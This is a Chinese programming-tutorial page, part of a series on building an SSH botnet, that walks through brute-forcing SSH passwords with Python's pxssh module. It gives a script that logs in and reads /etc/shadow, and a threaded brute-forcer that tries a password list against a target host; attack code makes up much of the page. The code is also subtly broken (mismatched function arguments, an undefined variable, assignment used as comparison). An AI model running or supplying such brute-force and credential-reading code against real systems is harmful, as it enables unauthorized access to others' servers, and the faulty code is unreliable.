程序師世界是廣大編程愛好者互助、分享、學習的平台,程序師世界有你更精彩!
首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫知識
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式師世界 >> 編程語言 >  >> 更多編程語言 >> Python

【Python腳本進階】2.2、構建一個SSH僵屍網絡(中):用Pxssh暴力破解SSH密碼

編輯:Python

目錄

一、Pxssh暴力破解SSH密碼

1.1、函數:

1.2、使用Pxssh簡化

1.3、函數:

1.4、自動化


一、Pxssh暴力破解SSH密碼

1.1、函數:

prompt():是javascript語言中的一個方法,主要用處是顯示提示對話框

pxssh模塊用於在python中ssh遠程連接,執行命令,返回結果,但注意不支持Windows系統

1.2、使用Pxssh簡化

用Pxssh 進一步簡化它,Pxssb 是一個包含了pexpect 庫的專用腳本, 它能用預先寫好的login()、logout()和prompt()等函數直接與SSH 進行交互。使用Pxssh可以將上個腳本簡化成

import pxssh
def send_command(s, cmd):
s.sendline(cmd)
s.prompt()
print(s.before)
def connect(host, user, password):
try:
s = pxssh.pxssh()
s.login( host, user, password )
return s
except:
print('[-] Error Connecting')
exit( 0 )
s = connect ('127.0.0.1', 'root', 'toor')
send_command(s, 'cat /etc/shadow | grep root')

1.3、函數:

BoundedSemaphore(n):同一時刻最多允許n個線程訪問特定資源

global:全局的

release:釋放

add_option 添加設置選項

acquire方法是Python鎖類,Python中線程模塊的Lock類的內置方法

Thread是程序中的執行線程

1.4、自動化

再做些修改就能使腳本自動執行暴力破解SSH口令的任務。除增加了一些參數解析代碼來讀取主機名、用戶名和存有待嘗試的密碼的文件外, 只需對connect()函數稍做修改。


如果login()函數執行成功, 並且沒有拋出異常, 將打印一個消息, 表明密碼已被找到並把表示密碼已被找到的全局布爾值設為true。否則, 將捕獲該異常。如果異常顯示密碼被拒絕, 知道這個密碼不對, 讓函數返回即可。但是,如果異常顯示socket 為“ read_nonblocking", 可能是SSH服務器被大量的連接刷爆了, 可以稍等片刻後用相同的密碼再試一次。此外, 如果該異常顯示pxssh 命令提示符提取困難, 也應等待一會兒, 然後讓它再試一次。


在connect()函數的參數裡有一個布爾量release。由於connect()可以遞歸地調用另一個connect(), 必須讓只有不是由connect()遞歸調用的connect()函數才能夠釋放connection_lock 信號。

import pxssh
import optparse
import time
from threading import *
maxConnections = 5
connection_lock = BoundedSemaphore(value=maxConnections)
Found = False
Fails = 0
def connect(host, user, password):
global Found
global Fails
try:
s = pxssh.pxssh()
s.login(host, user, password)
print('[+] Password Found: ' + password)
Found = True
except Exception as e:
if 'read_nonblocking' in str(e):
Fails += 1
time.sleep( 5 )
connect(host, user, password, False)
elif 'synchronize with original prompt' in str(e):
time.sleep( 1 )
connect( host, user, password, False )
finally:
if release: connection_lock.release()
def main():
parser = optparse.OptionParser( 'usage %prog ' + '-H <target host> -u <user> -F <password list>' )
parser.add_option( '-H', dest= ' tgtHost', type='string', help=' specify target host')
parser.add_option( '-F', dest= ' passwdFile', type='string', help='specify password file')
parser.add_option( '-u', dest='user', type = 'string', help = 'specify the user')
(options, args) = parser.parse_args()
host = options.tgtHost
passwdFile = options.passwdFile
user= options.user
if host== None or passwdFile = None or user = None:
print(parser.usage)
exit(0)
user = options.user
fn = open( passwdFile,'r')
user = options.user
for line in fn.readlines():
user = options.user
if Found:
print("[*] Exiting: Password Found")
exit(0)
if Fails > 5:
print("[!] Exiting: Too Many Socket Timeouts")
exit(0)
connection_lock.acquire()
password = line.strip('\r').strip('\n')
print("[-] Testing: " + str(password))
t = Thread(target=connect, args=(host, user, password, True))
child = t.start()
if __name__ == '__main__':
main()


  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式師世界 All Rights Reserved